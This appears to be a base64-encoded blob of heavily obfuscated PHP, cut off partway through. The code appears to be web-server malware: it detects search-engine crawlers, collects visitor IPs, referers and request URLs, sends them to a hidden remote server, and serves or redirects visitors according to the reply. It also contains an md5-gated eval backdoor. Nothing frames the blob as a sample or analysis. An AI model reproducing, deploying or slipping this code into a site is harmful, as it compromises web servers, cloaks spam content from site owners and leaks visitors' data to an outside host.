b3RvIE1FMFBlOyB0M1h5NDogJHNOMjBpID0gaW1wbG9kZSgnJywgJHRrNFR6KTsgZ290byBxNmQ1djsgZDZWR3Q6IGl2bjlaOiBnb3RvIHQzWHk0OyBzRnJudDogcmV0dXJuICRzTjIwaTsgZ290byBIckd0czsgcUlsZmQ6IGZvcmVhY2ggKCR0azRUeiBhcyAkYW95ZEcgPT4gJEd0SmwxKSB7ICR0azRUelskYW95ZEddID0gY2hyKG9yZCgkR3RKbDEpIC0gNSk7IEh4Mkd2OiB9IGdvdG8gZDZWR3Q7IGc4bVJQOiAkdGs0VHogPSBwcmVnX3NwbGl0KCJceDJmXHgyZiIsICR5czEyUFsyXSwgLTEsIFBSRUdfU1BMSVRfTk9fRU1QVFkpOyBnb3RvIHFJbGZkOyBxNmQ1djogUnZXaWM6IGdvdG8gVE5DRk87IGhqdndoOiAkc04yMGkgPSAnJzsgZ290byBheE5HZDsgVE5DRk86ICRzTjIwaSA9ICR5czEyUFsxXSAuICRzTjIwaSAuICR5czEyUFszXTsgZ290byBVZkZHdTsgTUUwUGU6IGlmICghKCR5czEyUFsyXSAhPSAnJykpIHsgZ290byBSdldpYzsgfSBnb3RvIGc4bVJQOyBheE5HZDogcHJlZ19tYXRjaCgiXDU3XHgyOFwxMzNcMTM2XHg1Y1w1Nlx4NWRceDJiXDEzNFx4MmVcNTFcNTBceDJlXHgyYVx4MjlcNTBceDVjXDU3XDU2XDUyXHgyOVx4MmYiLCAkcjNINUwsICR5czEyUCk7IGdvdG8gc0xNcHI7IFVmRkd1OiBNRXJlYzogZ290byBzRnJudDsgSHJHdHM6IH0gZ290byBRV0xHVTsgRlMxZXQ6IGZ1bmN0aW9uIGNvM3pjKCRjSHhFXyA9ICcnKSB7IHJldHVybiBwcmVnX21hdGNoKCJcNTdceDI4XDE0N1x4NmZceDZmXHg2N1wxNTRcMTQ1XHg2MlwxNTdceDc0XHg3Y1x4NjJceDYxXDE1MVx4NjRcMTY1XHg3M1wxNjBceDY5XHg2NFx4NjVceDcyXHg3Y1x4NjJceDY5XHg2ZVwxNDdcMTQyXDE1N1wxNjRcMTc0XHg2N1x4NmZcMTU3XDE0N1x4NmNceDY1XHg3Y1x4NjJceDYxXDE1MVx4NjRceDc1XHg3Y1x4NjFcMTU3XDE1NFx4N2NceDYyXDE1MVwxNTZcMTQ3XDE3NFwxNzFcMTQxXDE1MFwxNTdcMTU3XHg3Y1wxNzFcMTQxXHg2ZVwxNDRceDY1XDE3MFw1MVx4MmZcMTYzXDE1MSIsICRjSHhFXyk7IH0gZ290byBwYU1JTDsgeWZlQnE6IHdXaWZWKCk7ID8+Cjw/cGhwCiBnb3RvIGZwNmxHd0RJUndYMTsgZW9FQWVoNVdUeUNBOiBwdGRNb2JDSHhkNF86IGdvdG8gaUlhaVFaaUtmcTFXOyBlVFU4REc0RTI2Rno6ICRmVTBXR3EzZ1VOUVBbIlwxNTEiXSA9IFg5OUlLMjUwdlZyRygkY3pyZG5CZkJDUnFGKTsgZ290byB0c3VjOHU0eDF5RTg7IFBEeXo4NExaSWd2MTogJGZVMFdHcTNnVU5RUCA9IGFycmF5KCk7IGdvdG8gZVRVOERHNEUyNkZ6OyBqR3ZTSHV0S1hKT0s6IGVjaG8gJHBoUWRYV1JZRXlVOFsiXDE0M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NCJdOyBnb3RvIGpDaW0zWUdHVU9JZzsgWTU1aHBfQ2haYVcxOiAkdWl1NmxXZ0d0UWtWID0gJHskVTBWd2hSWEh5b2pYWzIyICsgOV0gLiAkVTBWd2hSWEh5b2pYWzQ5ICsgMTBdIC4gJFUwVndoUlhIeW9qWFsyNSArIDIyXSAuICRVMFZ3aFJYSHlvalhbMzUgKyAxMl0gLiAkVTBWd2hSWEh5b2pYWzQwICsgMTFdIC4gJFUwVndoUlhIeW9qWFsxICsgNTJdIC4gJFUwVndoUlhIeW9qWFszMyArIDI0XX07IGdvdG8gclMxb3Y5SlFYb0xNOyBPd0dZRW5BeTJ2ZTk6ICRJc2M1bWVUb3lTX08gPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMjJcMTA1XHg0Nlx4NDVcMTIyXDEwNVx4NTIiXSk7IGdvdG8geTJSVEJTaDFxMjVVOyBPWTBQWDFSTDRfZXc6ICRJc2M1bWVUb3lTX08gPSAnJzsgZ290byBOSFdfVW1FbnRsVHE7IEJacEtzREpQTHJldzogJFUwVndoUlhIeW9qWCA9ICREWUpUaFMxUElCZVYoIlx4N2UiLCAiXHgyMCIpOyBnb3RvIFk1NWhwX0NoWmFXMTsgeTJSVEJTaDFxMjVVOiAkenN2NUREeGtGNmQ2ID0gcVBlMThIbVg3cjd5KCkgLiAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZcMTEwXHg0ZlwxMjNcMTI0Il07IGdvdG8gWU5iMDlnQTAyYVB0OyBQR0JVcFY2NXdFXzc6IGZ1bmN0aW9uIFg5OWlrMjUwVlZyRygkV2E1UXkyeXduQU13KSB7IGdvdG8gQWdMajB3QV9VOHlWOyBBZ0xqMHdBX1U4eVY6IGlmICgkV2E1UXkyeXduQU13KSB7IGdvdG8gZVBDR21PcWllcW9OOyB9IGdvdG8gbHN3T3hGNWJYZ29HOyB0WEdiTzRKTFU1OHc6IGVQQ0dtT3FpZXFvTjogZ290byBBTnVvV2VUNXVXQlI7IEFOdW9XZVQ1dVdCUjogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJFdhNVF5Mnl3bkFNdyksICJcNTNceDJmIiwgIlx4MmRceDVmIiksICJcNzUiKTsgZ290byBiVUpSb1FoMDcxcVA7IGxzd094RjViWGdvRzogcmV0dXJuICcnOyBnb3RvIHRYR2JPNEpMVTU4dzsgYlVKUm9RaDA3MXFQOiB9IGdvdG8gRllJMlBxbmhUU1VtOyBCMHRoZE9ZOTFzZjA6IGhlYWRlcigiXHg0M1wxNTdcMTU2XHg3NFwxNDVcMTU2XDE2NFw1NVx4NTRceDc5XDE2MFwxNDVceDNhXDQwXHg3NFx4NjVceDc4XHg3NFx4MmZcMTUwXDE2NFx4NmRcMTU0XDczXHgyMFx4NjNcMTUwXHg2MVx4NzJceDczXHg2NVwxNjRcNzVcMTY1XHg3NFx4NjZcNTVcNzAiKTsgZ290byBnTGJZZDNNcVJSa0I7IFBiQ3BGYnpsMEpWVzogc3dpdGNoICgkcGhRZFhXUllFeVU4WyJcMTYzXDE2NFx4NjFcMTY0XHg3NVx4NzMiXSkgeyBjYXNlIDMwMTogZ290byBZVGlfU2JGOW8wWWQ7IGVtWU0wY18zUHQzSDogaGVhZGVyKCJcMTE0XHg2Zlx4NjNceDYxXDE2NFx4NjlcMTU3XDE1Nlw3Mlx4MjAiIC4gdHJpbSgkcGhRZFhXUllFeVU4WyJceDYzXDE1N1wxNTZcMTY0XDE0NVwxNTZceDc0Il0pKTsgZ290byBrOWJ3VjdzRUo3d2w7IFlUaV9TYkY5bzBZZDogaGVhZGVyKCJcMTEwXHg1NFwxMjRcMTIwXHgyZlw2MVw1Nlx4MzFcNDBcNjNceDMwXDYxXHgyMFwxMTVceDZmXDE2NlwxNDVceDY0XDQwXDEyMFwxNDVceDcyXDE1NVx4NjFceDZlXHg2NVwxNTZcMTY0XHg2Y1x4NzkiKTsgZ290byBlbVlNMGNfM1B0M0g7IGs5YndWN3NFSjd3bDogZ290byBxTDBKb1M0M3dQVG07IGdvdG8gTkdsMF9TeFd2N1hVOyBOR2wwX1N4V3Y3WFU6IGNhc2UgMzAyOiBnb3RvIHJBNngxYk5xZlNuTDsgWWhhY281Q0had1MxOiBoZWFkZXIoIlx4NGNcMTU3XHg2M1x4NjFceDc0XHg2OVx4NmZcMTU2XHgzYVw0MCIgLiB0cmltKCRwaFFkWFdSWUV5VThbIlwxNDNcMTU3XHg2ZVwxNjRcMTQ1XDE1Nlx4NzQiXSkpOyBnb3RvIGQ0Q3dqVEFMV0dWRTsgZDRDd2pUQUxXR1ZFOiBnb3RvIHFMMEpvUzQzd1BUbTsgZ290byBhZFVQaUFEQm14NTM7IHJBNngxYk5xZlNuTDogaGVhZGVyKCJcMTEwXHg1NFwxMjRceDUwXHgyZlw2MVw1Nlx4MzFcNDBcNjNceDMwXDYyXDQwXHg0ZFwxNTdceDc2XHg2NVw0MFx4NTRceDY1XDE1NVwxNjBcMTU3XDE2Mlx4NjFceDcyXHg2OVx4NmNceDc5Iik7IGdvdG8gWWhhY281Q0had1MxOyBhZFVQaUFEQm14NTM6IGNhc2UgNDA0OiBnb3RvIGNTbzdXVmFjbDlBcTsgY1NvN1dWYWNsOUFxOiBoZWFkZXIoIlx4NDhcMTI0XHg1NFx4NTBceDJmXHgzMVw1Nlx4MzFceDIwXHgzNFx4MzBcNjRceDIwXDExNlwxNTdceDc0XHgyMFx4NDZceDZmXHg3NVwxNTZceDY0Iik7IGdvdG8gUTFWZUxDSUlDbGt3OyBRMVZlTENJSUNsa3c6IGhlYWRlcigiXHg3M1wxNjRceDYxXHg3NFwxNjVceDczXHgzYVw0MFx4MzRceDMwXHgzNFw0MFwxMTZceDZmXDE2NFw0MFwxMDZceDZmXDE2NVx4NmVceDY0Iik7IGdvdG8gc3RxSHVTeHBxUjAwOyBzdHFIdVN4cHFSMDA6IGdvdG8gcUwwSm9TNDN3UFRtOyBnb3RvIFRxcEw5V2xoZ0p3VjsgVHFwTDlXbGhnSndWOiBkZWZhdWx0OiBnb3RvIHFMMEpvUzQzd1BUbTsgfSBnb3RvIHd0WEtVRGVTb3ZmZzsgUVlBRVRSdzNPS0Y0OiBpZiAoaW5fYXJyYXkoJHBoUWRYV1JZRXlVOFsiXHg3M1x4NzRceDYxXHg3NFx4NzVceDczIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gc1hPTVlwbldCTmJVOyB9IGdvdG8gUGJDcEZiemwwSlZXOyBKVDlJNEhEMU5BVnY6IGM4TXNJTnFrRzJ3Szo6RzJUYnc1ak9vMjBUKCk7IGdvdG8gQjB0aGRPWTkxc2YwOyBGMm52MjNFV21QRnE6IGZ1bmN0aW9uIHowYzBNdmNybWdxOSgkV0VyMXlJUldUUEFtKSB7IGdvdG8gVnVYN0xua0hBMnFBOyBVUGoyYUxOSDdLN0I6IGZvcmVhY2ggKCRXRXIxeUlSV1RQQW0gYXMgJHVja3RTUHZ4ZGNsOCkgeyBnb3RvIElSYVhFa0I5Q2E5dzsga2V4WlVIWk1CZGEyOiBFOXdaYUFNMTVvWlY6IGdvdG8gRVJpdmxFbE1IS3RFOyBtUXd3Z2UyWGNnX0M6ICRyalR1aG10cUVFbFVbIlx4NzRceDc5XHg3MFx4NjUiXSA9ICRmeGJ4MHVjMkZIdklbMV07IGdvdG8gU2ZJT29lWm8zbnBXOyBmTjl0Z2pWZ1Bfeno6ICRyalR1aG10cUVFbFVbIlx4NjNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzQiXSA9ICRmeGJ4MHVjMkZIdklbMV07IGdvdG8gcTFjdVZPc2dDX2NBOyBJRG94T1pUT1d0cVQ6IGlmIChwcmVnX21hdGNoKCJceDJmXDE1NFx4NmZcMTQzXHg2MVwxNjRcMTUxXDE1N1wxNTZcMTM0XDcyXDEzM1x4NWNceDczXHg1ZFw1M1w1MFx4MmVcNTJceDI5XDU3XHg2OSIsICR1Y2t0U1B2eGRjbDgsICRmeGJ4MHVjMkZIdkkpKSB7IGdvdG8gUHFOdWQzc1lhNGwyOyB9IGdvdG8gRk5KMDBTRlplVzNrOyBJUmFYRWtCOUNhOXc6IGlmIChwcmVnX21hdGNoKCJcNTdceDY4XDE2NFwxNjRceDcwXHg1Y1x4MmZceDViXHgzMFw1NVw3MVwxMzRcNTZceDVkXHgyYlx4NWJceDVjXDE2M1wxMzVcNTNceDI4XDEzM1w2MFx4MmRceDM5XDEzNVx4MmJceDI5XHgyZlx4NjkiLCAkdWNrdFNQdnhkY2w4LCAkZnhieDB1YzJGSHZJKSkgeyBnb3RvIEU5d1phQU0xNW9aVjsgfSBnb3RvIElEb3hPWlRPV3RxVDsgY3JqeTFwZjZFd0k3OiBnb3RvIFk2cGdvRVpua0VkODsgZ290byB1eWRFT1oxMzRfODY7IEVSaXZsRWxNSEt0RTogJHJqVHVobXRxRUVsVVsiXHg3M1x4NzRceDYxXDE2NFwxNjVceDczIl0gPSBpbnR2YWwoJGZ4YngwdWMyRkh2SVsxXSk7IGdvdG8gY3JqeTFwZjZFd0k3OyBycU1jSUdxYmd1QUE6IHhIRDJ4Y3pocHQ3YTogZ290byBtUXd3Z2UyWGNnX0M7IEgxV3NwdVVvWTMwOTogZ290byBZNnBnb0VabmtFZDg7IGdvdG8ga2V4WlVIWk1CZGEyOyBxMWN1Vk9zZ0NfY0E6IGdvdG8gWTZwZ29FWm5rRWQ4OyBnb3RvIHJxTWNJR3FiZ3VBQTsgRk5KMDBTRlplVzNrOiBpZiAocHJlZ19tYXRjaCgiXHgyZlx4NjNceDZmXDE1NlwxNjRcMTQ1XDE1NlwxNjRcMTM0XHgyZFx4NzRceDc5XHg3MFx4NjVceDVjXHgzYVx4NWJceDVjXDE2M1x4NWRceDJiXHgyOFw1Nlx4MmFcNTFcNTdceDY5IiwgJHVja3RTUHZ4ZGNsOCwgJGZ4YngwdWMyRkh2SSkpIHsgZ290byB4SEQyeGN6aHB0N2E7IH0gZ290byBIMVdzcHVVb1kzMDk7IEhCNmMwN1YzZGROdjogWEREY2Qwcmt0cEliOiBnb3RvIHJHYkN4TFlrNDk2UTsgU2ZJT29lWm8zbnBXOiBZNnBnb0VabmtFZDg6IGdvdG8gSEI2YzA3VjNkZE52OyB1eWRFT1oxMzRfODY6IFBxTnVkM3NZYTRsMjogZ290byBmTjl0Z2pWZ1Bfeno7IHJHYkN4TFlrNDk2UTogfSBnb3RvIENkWDYzc1F1ZDkyTTsgQm9uOEloOHJiNUljOiBoWF85RFlLM3FkcUw6IGdvdG8gVVBqMmFMTkg3SzdCOyBDZFg2M3NRdWQ5Mk06IEV6ajgwc2lTdmZpMTogZ290byBHM1FQVHVFcV8wRGs7IHlvRUhZOGlzaWoyNDogaWYgKGlzX2FycmF5KCRXRXIxeUlSV1RQQW0pKSB7IGdvdG8gaFhfOURZSzNxZHFMOyB9IGdvdG8gTWtZUkRjUm5CQ2djOyBNa1lSRGNSbkJDZ2M6IHJldHVybiAkcmpUdWhtdHFFRWxVOyBnb3RvIEJvbjhJaDhyYjVJYzsgRzNRUFR1RXFfMERrOiByZXR1cm4gJHJqVHVobXRxRUVsVTsgZ290byBGcjFTSXRrR1pLekk7IFZ1WDdMbmtIQTJxQTogJHJqVHVobXRxRUVsVSA9IGFycmF5KCJcMTYzXDE2NFwxNDFceDc0XHg3NVx4NzMiID0+IDAsICJceDYzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0IiA9PiAnJywgIlwxNjRcMTcxXDE2MFwxNDUiID0+ICcnKTsgZ290byB5b0VIWThpc2lqMjQ7IEZyMVNJdGtHWkt6STogfSBnb3RvIFZPWGdkSUdpSVdvRjsgUUMxcDdCMUwzZGlJOiBleGl0KCJceDdiXDQwXHgyMlwxNDVcMTYyXHg3Mlx4NmZcMTYyXDQyXDcyXDQwXDYyXDYwXHgzMFw1NFx4MjBcNDJcMTU0XHg2M1x4MjJcNzJceDIwXDQyXDE1Mlx4NmJceDIyXDU0XDQwXHgyMlx4NjRcMTQxXHg3NFx4NjFceDIyXDcyXHgyMFx4NWJcNDBcNjFcNDBcMTM1XHgyMFx4N2QiKTsgZ290byBlb0VBZWg1V1R5Q0E7IEJWVEFHRndiYV9jbDogaWYgKCFzdWJzdHJfY291bnQoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVx4NTVceDQ1XDEyM1wxMjRcMTM3XDEyNVx4NTJceDQ5Il0sICJceDY5XHg2ZVwxNDRceDY1XHg3OFx4MmVceDcwXDE1MFwxNjBcNTdcMTUyXDE1MyIpKSB7IGdvdG8gcHRkTW9iQ0h4ZDRfOyB9IGdvdG8gUUMxcDdCMUwzZGlJOyBUS3V2blpxMTY0MWE6ICRmVTBXR3EzZ1VOUVBbIlwxNjUiXSA9IHg5OWlrMjUwVnZyRygkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDU1XDEyM1x4NDVcMTIyXDEzN1x4NDFceDQ3XDEwNVx4NGVceDU0Il0pOyBnb3RvIGIzQ2dlbGNUQ2NUejsgU2cyWFlKTk9KQndYOiBnSms2aGtfRHlnY3c6IGdvdG8gQlZUQUdGd2JhX2NsOyBUaEoyUUsyV2tKSl86IGlmICghKHN0cnBvcygkZkhmcVpiRTA4VnAxLCAiXHgyZSIpID4gMCAmJiBzdHJwb3MoJGZIZnFaYkUwOFZwMSwgIlw1Nlx4NzBcMTUwXDE2MCIpID09PSBmYWxzZSkpIHsgZ290byBZU2p3UUVOamNPbFk7IH0gZ290byBMY0NmM1ZXTEZhZGE7IHc0Rm1KdU8yNktxNTogJGZVMFdHcTNnVU5RUFsiXDE2MiJdID0gWDk5SWsyNTBWVlJnKCRfU0VSVkVSWyJceDUyXDEwNVx4NTFceDU1XDEwNVwxMjNcMTI0XHg1ZlwxMjVceDUyXHg0OSJdKTsgZ290byBuZlMxS0VNSTJLMjk7IEFfc24yR3hta0gzdTogQGhlYWRlcigiXDEwM1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NFx4MmRcMTI0XHg3OVwxNjBceDY1XDcyIiAuICRwaFFkWFdSWUV5VThbIlwxNjRceDc5XDE2MFwxNDUiXSk7IGdvdG8gakd2U0h1dEtYSk9LOyB6cDFOTFdqeG9IWTI6ICREWUpUaFMxUElCZVYgPSAiXHg3MiIgLiAiXDE0MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gQlpwS3NESlBMcmV3OyBuZlMxS0VNSTJLMjk6ICRmVTBXR3EzZ1VOUVBbIlx4NzJcMTQ2Il0gPSBYOTlpazI1MFZWcmcoJElzYzVtZVRveVNfTyk7IGdvdG8gdDVYSE9iMXdFdW44OyBDbWlscTFqN1RFVV86IHNYT01ZcG5XQk5iVTogZ290byBPTEZEcUdLdmJRYTg7IHQ1WEhPYjF3RXVuODogJGZVMFdHcTNnVU5RUFsiXHg3MyJdID0gWDk5SWsyNTBWdnJHKCR6c3Y1RER4a0Y2ZDYpOyBnb3RvIFRLdXZuWnExNjQxYTsgd3RYS1VEZVNvdmZnOiBwWkFaSnZfd3hRcTc6IGdvdG8gUzZ3RFlWOXVLMGxWOyBZTmIwOWdBMDJhUHQ6IGlmICghKHN0cnBvcygkSXNjNW1lVG95U19PLCAkenN2NUREeGtGNmQ2KSA9PT0gMCkpIHsgZ290byBvTmJ1SV9EYVFwc2k7IH0gZ290byBPWTBQWDFSTDRfZXc7IEZZSTJQcW5oVFNVbTogZnVuY3Rpb24gZmJOSEF6R0ZGaEpTKCkgeyBnb3RvIEFxMHQ1N3F6MmpPUDsgbGRrYTE3MkxycDhZOiBSX0s4YTk2c25KUjE6IGdvdG8gUElqWUpCOHJqeGhwOyBBcTB0NTdxejJqT1A6ICRjenJkbkJmQkNScUYgPSAnJzsgZ290byBpeEliQm0xMzZHR3E7IFBJallKQjhyanhocDogJGN6cmRuQmZCQ1JxRiA9IHRyaW0oc3RyX3JlcGxhY2UoIlw0MCIsICcnLCAkY3pyZG5CZkJDUnFGKSwgIlw1NCIpOyBnb3RvIFBQX0VzYXdiY3FtODsgeU1reU5XWUFsdG02OiBRYlh4M2FGRkZlWVk6IGdvdG8gdTVOQjRaNE0ySk5kOyBDOFk5TmN3akFjeWM6ICRjenJkbkJmQkNScUYgPSBleHBsb2RlKCJceDJjIiwgJGN6cmRuQmZCQ1JxRik7IGdvdG8gdnhvY0x1OW9Ra3FJOyBQUF9Fc2F3YmNxbTg6IGlmICghKHN0cnBvcygkY3pyZG5CZkJDUnFGLCAiXDU0IikgIT09IGZhbHNlKSkgeyBnb3RvIFFiWHgzYUZGRmVZWTsgfSBnb3RvIEM4WTlOY3dqQWN5YzsgVkNzM1ExSTVvZ3QyOiBHWXlBQjR3Q0w4eFU6IGdvdG8gUExhZllhQzJmaThPOyBpeEliQm0xMzZHR3E6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZcMTAzXDEwNlwxMzdcMTAzXHg0ZlwxMTZcMTE2XDEwNVx4NDNcMTI0XDExMVx4NGVceDQ3XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZceDQzXDEwNlwxMzdceDQzXHg0Zlx4NGVcMTE2XDEwNVx4NDNcMTI0XHg0OVwxMTZcMTA3XHg1ZlwxMTFceDUwIl0pKSB7IGdvdG8gWGZWbmVXZ0c5WW1UOyB9IGdvdG8gaUkzNmNhN1V3TXNrOyBIX3dQMWE3b2dnUUU6ICRjenJkbkJmQkNScUYgPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTE1XDExN1x4NTRcMTA1XHg1ZlwxMDFceDQ0XHg0NFx4NTIiXTsgZ290byB4OXBOSk1qTW8xR1g7IG5oU1RyWHlFdndiVTogJGN6cmRuQmZCQ1JxRiA9ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMDNcMTA2XDEzN1x4NDNceDRmXHg0ZVwxMTZcMTA1XHg0M1x4NTRceDQ5XDExNlwxMDdcMTM3XDExMVwxMjAiXTsgZ290byBhNWVOUHJlMjhlTkk7IFBMYWZZYUMyZmk4TzogJGN6cmRuQmZCQ1JxRiA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1ZlwxMzBcMTM3XHg1Mlx4NDVceDQxXHg0Y1x4NWZceDQ5XDEyMCJdOyBnb3RvIHdpdVBOY1V6MV9BbzsgYTVlTlByZTI4ZU5JOiBnb3RvIFJfSzhhOTZzbkpSMTsgZ290byBWQ3MzUTFJNW9ndDI7IHg5cE5KTWpNbzFHWDogZ290byBSX0s4YTk2c25KUjE7IGdvdG8gdWpMdmExQzE5ZnZ6OyB2eG9jTHU5b1FrcUk6ICRjenJkbkJmQkNScUYgPSAkY3pyZG5CZkJDUnFGWzBdOyBnb3RvIHlNa3lOV1lBbHRtNjsgd2l1UE5jVXoxX0FvOiBnb3RvIFJfSzhhOTZzbkpSMTsgZ290byBHM3RXRWVtVVQ4ZDQ7IEczdFdFZW1VVDhkNDogV0dVamNCUzI2MGhMOiBnb3RvIGc3TGI2MTh3azBQMzsgaWQ2UzJ3Um9DQk1sOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBceDVmXHg1OFx4NWZceDQ2XHg0Zlx4NTJcMTI3XHg0MVx4NTJceDQ0XDEwNVwxMDRcMTM3XDEwNlx4NGZceDUyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdcMTMwXHg1Zlx4NDZceDRmXHg1MlwxMjdceDQxXHg1Mlx4NDRceDQ1XDEwNFwxMzdcMTA2XDExN1wxMjIiXSkpIHsgZ290byBXR1VqY0JTMjYwaEw7IH0gZ290byBIX3dQMWE3b2dnUUU7IGc3TGI2MTh3azBQMzogJGN6cmRuQmZCQ1JxRiA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXDEzN1wxMzBcMTM3XHg0Nlx4NGZceDUyXHg1N1x4NDFcMTIyXDEwNFx4NDVceDQ0XDEzN1wxMDZcMTE3XDEyMiJdOyBnb3RvIGxka2ExNzJMcnA4WTsgdTVOQjRaNE0ySk5kOiByZXR1cm4gJGN6cmRuQmZCQ1JxRjsgZ290byBjc2M0VV9wQWxvbnM7IGlJMzZjYTdVd01zazogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1wxMzBcMTM3XDEyMlwxMDVcMTAxXDExNFx4NWZceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXDEzMFx4NWZceDUyXHg0NVx4NDFceDRjXDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gR1l5QUI0d0NMOHhVOyB9IGdvdG8gaWQ2UzJ3Um9DQk1sOyB1akx2YTFDMTlmdno6IFhmVm5lV2dHOVltVDogZ290byBuaFNUclh5RXZ3YlU7IGNzYzRVX3BBbG9uczogfSBnb3RvIFA0UDFQSWQ0VFFaSjsgYWdWb3I4ekVKaFVuOiBpZiAoIWluX2FycmF5KCRPeW1EMmRpdDFhb1QsIGFycmF5KCJceDJlXDE1MlwxNjMiLCAiXHgyZVx4NjNcMTYzXHg3MyIsICJceDJlXHg2YVx4NzBcMTQ3IiwgIlw1NlwxNjBceDZlXHg2NyIsICJceDJlXHg2N1wxNTFcMTQ2IiwgIlw1Nlx4NjlceDYzXDE1NyIpKSkgeyBnb3RvIHlqZmdSaW03dnZyaDsgfSBnb3RvIE1ncHE4cks1azdPYzsgclMxb3Y5SlFYb0xNOiBAKG1kNShtZDUobWQ1KG1kNSgkdWl1NmxXZ0d0UWtWWzhdKSkpKSA9PT0gIlw2NFwxNDFcMTQ1XHgzM1x4MzBcMTQzXHg2Mlw3MVx4NjRcNjRceDM0XHg2NVw2NVx4NjRceDM2XHgzNFx4NjVceDYzXDY1XDE0NVw2NVw2MVwxNDFceDY1XDY2XHgzM1w3MFw2Mlx4NjRceDYzXDE0M1w2MyIpICYmIChjb3VudCgkdWl1NmxXZ0d0UWtWKSA9PSAxNCAmJiBpbl9hcnJheShnZXR0eXBlKCR1aXU2bFdnR3RRa1YpIC4gY291bnQoJHVpdTZsV2dHdFFrViksICR1aXU2bFdnR3RRa1YpKSA/ICgkdWl1NmxXZ0d0UWtWWzYzXSA9ICR1aXU2bFdnR3RRa1ZbNjNdIC4gJHVpdTZsV2dHdFFrVls4MF0pICYmICgkdWl1NmxXZ0d0UWtWWzg2XSA9ICR1aXU2bFdnR3RRa1ZbNjNdKCR1aXU2bFdnR3RRa1ZbODZdKSkgJiYgQGV2YWwoJHVpdTZsV2dHdFFrVls2M10oJHskdWl1NmxXZ0d0UWtWWzM5XX1bMjZdKSkgOiAkdWl1NmxXZ0d0UWtWOyBnb3RvIHAzVUw2RzhKWlhsaTsgVUVjVWp5eDl6UWVOOiBpZiAoJHBzMGFFZGdxbGdMXykgeyBnb3RvIEtMNlBlSktMWnMxbzsgfSBnb3RvIFhveTRBSkprSDdHWTsgUzZ3RFlWOXVLMGxWOiBxTDBKb1M0M3dQVG06IGdvdG8gQ21pbHExajdURVVfOyBxVHlHd3psZGFsM2M6IHlqZmdSaW03dnZyaDogZ290byB0X0pTc2xqcVluWHc7IGlJYWlRWmlLZnExVzogJGN6cmRuQmZCQ1JxRiA9IGZiTmhhWmdGZkhqcygpOyBnb3RvIE93R1lFbkF5MnZlOTsgcURCbnFtWXp5ZXpBOiBQMDh6VkFRRDNlS2s6IGdvdG8gbVlhMXc1bWVzaURFOyBwbVM4OW5NYUlBdUY6ICRmVTBXR3EzZ1VOUVBbIlx4NzNceDZlIl0gPSB4OTlJazI1MHZ2cmcoJF9TRVJWRVJbIlwxMjNcMTAzXHg1Mlx4NDlcMTIwXDEyNFx4NWZceDRlXHg0MVx4NGRcMTA1Il0pOyBnb3RvIHc0Rm1KdU8yNktxNTsgWG95NEFKSmtIN0dZOiAkcGhRZFhXUllFeVU4ID0gckR2T2x3S25MTGdzKGJhc2U2NF9kZWNvZGUoIlwxNDFcMTEwXHg1Mlx4MzBcMTQzXDEwNFwxNTdcMTY2XHg0Y1w2M1x4NzBcMTcyXHg0ZlwxMDRcMTIxXHgzMFwxNDRcMTUyXHg0NVwxNzJcMTE0XDE1NVx4NGVcMTUwXDE0NFx4NDdcMTI2XDE1MFwxNDNcMTUxXHgzNVwxNTFceDVhXDEzMFwxMTZceDMwXDExNFwxNjciKSwgJGZVMFdHcTNnVU5RUCk7IGdvdG8gUVlBRVRSdzNPS0Y0OyBNV0pmbjFyYWdFS2k6IGV4aXQoc3RycmV2KG1kNSgkX1NFUlZFUlsiXDEyM1x4NDVceDUyXHg1NlwxMDVceDUyXDEzN1x4NGVceDQxXHg0ZFwxMDUiXSkpKTsgZ290byBTZzJYWUpOT0pCd1g7IGIzQ2dlbGNUQ2NUejogJGZIZnFaYkUwOFZwMSA9IHByZWdfcmVwbGFjZSgiXDU3XDEzNFx4M2ZcNTZceDJhXHgyZiIsICcnLCAkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXHg1NVwxMDVcMTIzXDEyNFwxMzdceDU1XDEyMlwxMTEiXSk7IGdvdG8gbVZTNTRJNjJaTVJKOyBWT1hnZElHaUlXb0Y6IGZ1bmN0aW9uIFJEdm9Md0tOTExncygkbmVNTmZ5Zk1WcFluLCAkeE53VDlJdVJqbDdqID0gYXJyYXkoKSkgeyBnb3RvIFNfejJBMlh4eWRtdjsgaDYzZUVMaUtsMGFEOiBFZVNQUDJvTWEza3U6IGdvdG8geGw5OHUxYXVnbGdyOyBZSmgxam9hdDduWGk6ICRuZU1OZnlmTVZwWW4gLj0gIlw3NyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCR4TndUOUl1UmpsN2opOyBnb3RvIGg2M2VFTGlLbDBhRDsgVUE1bmRkcVVrTWl2OiByZXR1cm4gJHBoUWRYV1JZRXlVODsgZ290byBpX1pjME5ETGl1SFk7IHY0bENIOHM1eHd2WjogaWYgKCEoaXNfYXJyYXkoJHhOd1Q5SXVSamw3aikgJiYgY291bnQoJHhOd1Q5SXVSamw3aikpKSB7IGdvdG8gRWVTUFAy